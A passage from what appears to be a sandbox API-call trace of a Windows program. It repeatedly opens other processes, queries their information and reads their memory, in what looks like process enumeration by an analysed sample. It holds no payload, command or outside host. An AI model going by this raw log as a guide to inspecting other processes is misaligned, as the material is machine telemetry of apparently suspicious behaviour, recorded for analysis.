nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0246.128] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0246.128] malloc (_Size=0x62) returned 0x20abc2801b0 [0246.128] ReadProcessMemory (in: hProcess=0x464, lpBaseAddress=0x1c1952, lpBuffer=0x20abc2801b0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2801b0*, lpNumberOfBytesRead=0x0) returned 1 [0246.129] free (_Block=0x20abc2801b0) [0246.129] CloseHandle (hObject=0x464) returned 1 [0246.130] _ui64tow_s (in: _Value=0xf24, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3876") returned 0x0 [0246.244] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3876") returned 4 [0246.245] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0246.245] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0246.263] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf24) returned 0x44c [0246.263] GetLastError () returned 0x0 [0246.264] NtQueryInformationProcess (in: ProcessHandle=0x44c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0246.264] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x369018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0246.264] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0246.264] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x1c1cd0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0246.264] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x1c18f8, lpBuffer=0x2dc24fc2d0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0246.266] NtQueryInformationProcess (in: ProcessHandle=0x44c, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0246.267] NtQueryInformationProcess (in: ProcessHandle=0x44c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0246.267] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x369020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0246.267] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x1c12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0246.268] malloc (_Size=0x68) returned 0x20abc2801b0 [0246.268] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x1c1958, lpBuffer=0x20abc2801b0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2801b0*, lpNumberOfBytesRead=0x0) returned 1 [0246.268] free (_Block=0x20abc2801b0) [0246.269] CloseHandle (hObject=0x44c) returned 1 [0246.270] _ui64tow_s (in: _Value=0xf30, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3888") returned 0x0 [0246.274] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3888") returned 4 [0246.275] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0246.275] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0246.403] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf30) returned 0x44c [0246.403] GetLastError () returned 0x0 [0246.403] NtQueryInformationProcess (in: ProcessHandle=0x44c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0246.403] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x39e018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0246.404] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0246.404] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x4a1d10, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0246.404] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x4a18f8, lpBuffer=0x2dc24fc2d0, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0246.405] NtQueryInformationProcess (in: ProcessHandle=0x44c, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0246.407] NtQueryInformationProcess (in: ProcessHandle=0x44c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0246.407] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x39e020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0246.407] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x4a12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0246.407] malloc (_Size=0x7c) returned 0x20abc2ac0c0 [0246.407] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x4a196c, lpBuffer=0x20abc2ac0c0, nSize=0x7a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2ac0c0*, lpNumberOfBytesRead=0x0) returned 1 [0246.408] free (_Block=0x20abc2ac0c0) [0246.408] CloseHandle (hObject=0x44c) returned 1 [0246.409] _ui64tow_s (in: _Value=0xf40, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3904") returned 0x0 [0246.413] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3904") returned 4 [0246.415] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0246.415] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0246.432] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf40) returned 0x44c [0246.432] GetLastError () returned 0x0 [0246.433] NtQueryInformationProcess (in: ProcessHandle=0x44c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0246.433] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x2f9018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0246.433] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0246.433] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x4e1cd0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0246.433] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x4e18f8, lpBuffer=0x2dc24fc2d0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0246.435] NtQueryInformationProcess (in: ProcessHandle=0x44c, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0246.436] NtQueryInformationProcess (in: ProcessHandle=0x44c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0246.436] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x2f9020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0246.436] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x4e12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0246.437] malloc (_Size=0x68) returned 0x20abc2801b0 [0246.437] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x4e1958, lpBuffer=0x20abc2801b0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2801b0*, lpNumberOfBytesRead=0x0) returned 1 [0246.437] free (_Block=0x20abc2801b0) [0246.438] CloseHandle (hObject=0x44c) returned 1 [0246.617] _ui64tow_s (in: _Value=0xf48, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3912") returned 0x0 [0246.621] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3912") returned 4 [0246.623] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0246.623] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0246.648] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf48) returned 0x44c [0246.832] GetLastError () returned 0x0 [0246.833] NtQueryInformationProcess (in: ProcessHandle=0x44c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0246.833] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x29c018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0246.833] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0246.833] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x541cd0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0246.833] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x5418f8, lpBuffer=0x2dc24fc2d0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0246.835] NtQueryInformationProcess (in: ProcessHandle=0x44c, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0246.837] NtQueryInformationProcess (in: ProcessHandle=0x44c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0246.838] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x29c020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0246.838] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x5412e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0246.838] malloc (_Size=0x68) returned 0x20abc2801b0 [0246.838] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x541958, lpBuffer=0x20abc2801b0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2801b0*, lpNumberOfBytesRead=0x0) returned 1 [0246.839] free (_Block=0x20abc2801b0) [0246.839] CloseHandle (hObject=0x44c) returned 1 [0246.840] _ui64tow_s (in: _Value=0xf50, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3920") returned 0x0 [0246.845] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3920") returned 4 [0246.846] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0246.846] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0246.865] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf50) returned 0x44c [0246.865] GetLastError () returned 0x0 [0246.866] NtQueryInformationProcess (in: ProcessHandle=0x44c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0246.866] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x26b018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0246.866] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0246.867] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x481d30, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0246.867] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x4818f8, lpBuffer=0x2dc24fc2d0, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0246.999] NtQueryInformationProcess (in: ProcessHandle=0x44c, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0247.000] NtQueryInformationProcess (in: ProcessHandle=0x44c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0247.000] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x26b020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0247.001] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x4812e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0247.001] malloc (_Size=0x88) returned 0x20abc2ab7c0 [0247.001] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x481978, lpBuffer=0x20abc2ab7c0, nSize=0x86, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2ab7c0*, lpNumberOfBytesRead=0x0) returned 1 [0247.001] free (_Block=0x20abc2ab7c0) [0247.002] CloseHandle (hObject=0x44c) returned 1 [0247.002] _ui64tow_s (in: _Value=0xf64, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3940") returned 0x0 [0247.006] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3940") returned 4 [0247.007] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0247.007] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0247.020] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf64) returned 0x44c [0247.020] GetLastError () returned 0x0 [0247.021] NtQueryInformationProcess (in: ProcessHandle=0x44c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0247.021] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x358018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0247.022] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0247.022] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x1d1d20, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0247.022] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x1d18f8, lpBuffer=0x2dc24fc2d0, nSize=0x7c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0247.023] NtQueryInformationProcess (in: ProcessHandle=0x44c, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0247.026] NtQueryInformationProcess (in: ProcessHandle=0x44c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0247.026] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x358020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0247.026] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x1d12e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0247.027] malloc (_Size=0x84) returned 0x20abc2abf10 [0247.027] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x1d1974, lpBuffer=0x20abc2abf10, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2abf10*, lpNumberOfBytesRead=0x0) returned 1 [0247.027] free (_Block=0x20abc2abf10) [0247.028] CloseHandle (hObject=0x44c) returned 1 [0247.028] _ui64tow_s (in: _Value=0xf6c, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3948") returned 0x0 [0247.032] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3948") returned 4 [0247.033] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0247.033] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0247.203] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf6c) returned 0x44c [0247.203] GetLastError () returned 0x0 [0247.204] NtQueryInformationProcess (in: ProcessHandle=0x44c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0247.204] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x419018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0247.204] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0247.204] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x391c90, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0247.204] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x3918f8, lpBuffer=0x2dc24fc2d0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0247.205] NtQueryInformationProcess (in: ProcessHandle=0x44c, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0247.206] NtQueryInformationProcess (in: ProcessHandle=0x44c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0247.207] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x419020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0247.207] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x3912e0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0247.207] malloc (_Size=0x54) returned 0x20abc2aaab0 [0247.207] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x391944, lpBuffer=0x20abc2aaab0, nSize=0x52, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aaab0*, lpNumberOfBytesRead=0x0) returned 1 [0247.208] free (_Block=0x20abc2aaab0) [0247.208] CloseHandle (hObject=0x44c) returned 1 [0247.208] _ui64tow_s (in: _Value=0xf78, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3960") returned 0x0 [0247.213] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="3960") returned 4 [0247.214] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0247.214] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0247.226] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xf78) returned 0x44c [0247.226] GetLastError () returned 0x0 [0247.229] NtQueryInformationProcess (in: ProcessHandle=0x44c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0247.229] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x3ab018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0247.230] ReadProcessMemory (in: hProcess=0x44c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, 